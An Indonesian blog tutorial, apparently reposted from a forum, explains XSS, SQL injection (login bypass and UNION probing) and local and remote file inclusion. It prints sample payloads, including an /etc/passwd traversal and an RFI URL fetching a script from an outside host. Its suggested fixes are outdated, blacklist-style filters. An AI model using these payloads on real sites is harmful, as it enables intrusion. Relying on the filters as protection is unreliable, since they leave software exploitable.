PROTECTING WEBSITES FROM COMMON ATTACKS Oleh: Yudha Akbar Pramana
Selamat datang kembali di YudhaAkbar.co.cc guys. Hm, kali ini aku mau bahas tentang masalah-masalah serangan pada web yang sering digunakan berserta cara pencegahanya. Ya biasanya serangan serangan tersebut menggunakan sebagian besar jenis defacement. Sebagian besar kesalahan terjadi pada pemrograman yang memungkinkan attacker untuk dapat menyusup ke dalam website. Aku juga ak...
Hm, kali ini aku mau bahas tentang masalah-masalah serangan pada web yang sering digunakan berserta cara pencegahanya (copas dari yudhaakbar.co.cc). Ya biasanya serangan serangan tersebut menggunakan sebagian besar jenis defacement. Sebagian besar kesalahan terjadi pada pemrograman yang memungkinkan attacker untuk dapat menyusup ke dalam website. Aku juga akan menjelaskan lima (5) eksploitasi umum yang saya cantumkan di bawah ini, yaitu XSS, SQL injection, RFI dan LFI.
Sebelumnya aku berterima kasih banyak kepada mas vYc0d telah membuat tutorial ini dan di posting pada IndonesianCoder.com, lalu forward ke kamu-kamu semua. hehee ^_^ oiya, untuk contact emailnya mas vYc0d adalah
[email protected] dan websitenya : http://vyc0d.blogspot.com ---------------------------------------------------------------------------------------------------------Berikut Kontennya : [1] Cross Site Scripting [2] SQL Injection \_ Login Form Bypassing \_ UNION SQL Injection [3] File Inclusion
----------------------------------------------------------------------------------------------------------
[1] Cross Site Scripting Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi. Example: http://www.situs.net/find.php?all=">
*Solusi (javascript) :
function RemoveBad(strTemp) { strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,""); return strTemp; }
[2] SQL Injection *\_ Login Form Bypassing
Berikut adalah contoh kode yang dapat kita bisa bypass: index.html file: Password:
Authenticate
login.php file:
Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';". Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".
*Solusi : Menggunakan mysql_real_escape_string Contoh:
*\_ Union SQL Injection Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom, dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT. Contoh : http://www.situs.net/index.php?id=1' salah satu contoh pesan error: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in..... Setelah muncul pesan error,maka attacker melanjutkan aksinya ;)) http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error. http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan perintah version().
*Solusi : Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:
$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)"; $patch = eregi_replace($bug, "", $patch);
[3] File Inclusion \_ Remote File Inclusion dan Local File Inclusion Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server. Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server dengan hanya melalui URL.
Contoh kode yang vulnerable : Beberapa contoh serangan : http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI
*Solusi : Validate the input.
Tentang Penulis Yudha Akbar Pramana